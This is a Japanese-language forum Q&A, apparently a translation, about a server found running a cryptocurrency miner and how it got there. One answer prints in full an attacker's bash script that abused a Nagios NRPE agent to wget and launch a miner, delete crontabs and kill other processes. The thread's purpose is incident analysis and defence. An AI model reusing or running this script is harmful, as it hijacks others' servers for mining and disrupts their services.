ハッキングされたのでしょうか?

ハッキングされたのでしょうか?

私は専用サーバーを運用していますが、最近 CPU 使用率が高くなっていることに気付き、プロセスを確認しました。どうやら誰か (mick アカウント) が私のサーバーでマイニングを行っていたようです。どうしてこのようなことが起こるのでしょうか? プロセスは以下のとおりです。アカウントを停止しました。他に何をする必要がありますか?

25516 mick  30  10  778m 6728 1132 S 740.5  0.2   8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B

答え1

サーバー側スクリプト (php、ruby など) を許可する Web サーバーを実行している場合、これは非常に簡単に実行できます。

ユーザーが行う必要があるのは、ファイルをダウンロードして/tmp/sh64実行するスクリプトを生成することだけです。Web スクリプトは一般に外部プログラムを実行できる必要があるため、この種のアクティビティを防ぐのは困難です。

アカウントがユーザーの Web スクリプトを実行するために使用されたアカウントと同じである場合mick、ハッキングされたわけではないと言えます。単にユーザーが自分のアカウントを悪用しているだけです。

この動作を防止したい場合、防止する方法はいくつかあります。外部プログラムの呼び出しを禁止するか、長時間実行されているプログラム (たとえば、60 秒以上実行されているプログラム) を強制終了するなどの方法があります。
設定の詳細がわからないと、最善の対応策を判断するのは困難です。

答え2

私も同様の問題を抱えていました。彼らは Nagios の NRPE エージェントの古いバージョンを悪用して、wgetSourceforge からビットコイン マイナーをインストールして構成するスクリプトを実行しました (NRPE デーモンがdont_blame_nrpe有効になっていました)。私のマシンでの試行が永続的であったことを示すものは何も見つかりませんでした。

これは、ビットコイン マイナーのインストールとセットアップに使用されたスクリプトです。

#!/bin/bash

miner_path="/tmp/tester"
miner_path2="/tmp/var/tester"
miner_path3="/dev/shm/tester"
stratum="stratum+tcp://multi1.wemineall.com:80"
worker="weedee.1"
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
name="work.sh"
if [ -z "$myproc" ]
then    
    system=`uname -a`
    i686=`echo $system|grep i686`
    if ! [ -z "$i686" ]
      then

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664640&use_mirror=netcologne"
      else

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664665&use_mirror=netcologne"
    fi

    dll=`wget -q -O $miner_path $url;tar zxvf $miner_path -C /var/tmp/;mv /var/tmp/minerd $miner_path;chmod +x $miner_path`
    spwn=`$miner_path -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /var/tmp/ trying in /dev/shm
    if [ -z "$myproc" ]
    then
        #dll=`wget $url -O $miner_path2;chmod +x $miner_path2`
        dll=`wget -q -O $miner_path2 $url;tar zxvf $miner_path2 -C /tmp/;mv /tmp/minerd $miner_path2;chmod +x $miner_path2`
        spwn=`$miner_path2 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /tmp/ trying in /tmp
    if [ -z "$myproc" ]
    then        
        dll=`wget -q -O $miner_path3 $url;tar zxvf $miner_path3 -C /dev/shm/;mv /dev/shm/minerd $miner_path3;chmod +x $miner_path3`
        spwn=`$miner_path3 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi  

myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
  crontab -r
 fi  
 crontab -r
rm -rf /var/tmp/*.sh
kill -9 `ps x | grep -v nagios | grep -v nrpe | grep -v PID | grep -v $name | grep -v tester | grep -v grep | awk '{print $1}'

このスクリプトは完全に Nagios ユーザーとして実行されるため、ルート アクセスは必要ありません。

答え3

あなたのシステムは間違いなく侵害されているか、最悪の場合ハッキングされています。同様のマイナーがインストールされたという話は他にもあります。

私は、システムが侵害されているという立場を取り、まずはシステムから重要なものをすべて取り除き、まだバックアップしていない場合はバックアップを取ることをお勧めします。

分析

侵入方法が知りたい場合は、インストールされているサービス (Web、mysql など) の完全なリストを取得し、誰かが昇格した権限を取得できるアクティブなエクスプロイトがあるかどうかを確認する必要があります。

まず、Web ベースのアプリケーションである Web 有効化から始めます。通常、これらのアプリケーションはバッファ オーバーフローを起こし、Web サーバーのスタックを変更して追加のアプリケーションをインストールできるようになります。

このようなタイプの侵害は孤立したインシデントである可能性があるため、問題のソフトウェアとマルウェアを削除するだけで、システムの完全な復旧/セットアップに時間をかけることなく、根絶することができます。

このシステムが VPS ベースのイメージを使用して構築されている場合、パッチを適用することがすべての顧客にとって最善の利益になると思われるため、プロバイダーと協力します。

ウェブスタックを危険にさらすだけでなく

ボックス上のすべてのものを精査する必要があり、基本的に信頼できませんが、攻撃者がどこからログインしているのか、あるいはまったくログインしていないのかを突き止めるには、少し時間がかかります。攻撃者は、システムを侵害した後にシステムに追加された SSH アカウントを使用してログインしている可能性があります。

これは分析に何日もかかる大変な作業です。特に、この作業を支援するボックス内のツールを信頼できない場合はなおさらです。この時間を利用して、システムがどのように侵害されたかを理解することをお勧めします。そうすれば、少なくともこの特定のベクトルを通じて、将来再び同じことが起こるリスクを減らすことができます。

これが本番環境の問題でない場合、これは実際には、システムがどのように侵害され、攻撃者によってアクセスが「悪用」される可能性があるかについて貴重な洞察を得るための良い学習機会となります。

希望の光?

システムが採掘目的で使用されているため、ゾンビ採掘者をセットアップするのに十分な数のシステムを攻撃するには、かなりの時間がかかると思われるため、自動化されたスクリプト ツール セットが使用されている可能性があります。このようなツールが使用される場合、通常は構築が粗雑で、足場を確保してペイロード (採掘ソフトウェア) を配信するために最低限のことだけを目的としているため、運が良ければ侵入方法について追加の情報が得られる可能性があります。

関連情報